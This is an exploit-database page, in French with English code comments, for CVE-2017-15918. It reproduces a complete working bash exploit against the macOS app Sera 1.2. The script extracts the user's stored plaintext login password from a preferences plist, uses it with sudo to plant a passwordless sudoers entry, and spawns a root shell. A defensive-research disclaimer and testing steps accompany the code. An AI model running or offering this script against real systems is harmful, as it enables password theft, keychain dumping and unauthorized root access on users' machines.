Exploit matérialisé

CVE-2017-15918

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB local macos

Source

Sera 1.2 - Local Privilege Escalation / Password Disclosure

Par Mark Wadham

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

bash 43221.sh

Code sh

# Sera is a free app for mac and iOS that lets you unlock your mac automatically
# when your iphone is within a configured proximity.

# Unfortunately to facilitate this it stores the users login password in their
# home directory at:

# ~/Library/Preferences/no.ignitum.SeraOSX.plist

# This makes root privilege escalation trivial and worse than that even
# facilitates dumping the keychain as we can easily obtain the user's login
# password. If they are an admin user we can even dump items from the system
# keychain.

# The author of Sera has said he will shut the project down and make the code
# publicly available so no fix is likely to be forthcoming anytime soon.

# It is strongly recommended not to use this app and if you have done so in the
# past make sure you remove this file that contains your login password.

# https://m4.rkw.io/sera_1.2.sh.txt
# dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf
# -------------------------------------------------------------------------
#!/bin/bash

##############################################################
###### sera 1.2 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html           ######
##############################################################

sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`

if [ "$sera_pass" == "" ] ; then
  echo "Password not found."
  exit 1
fi

echo "user's password is: $sera_pass"

user="`whoami`"

echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp

echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null

sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'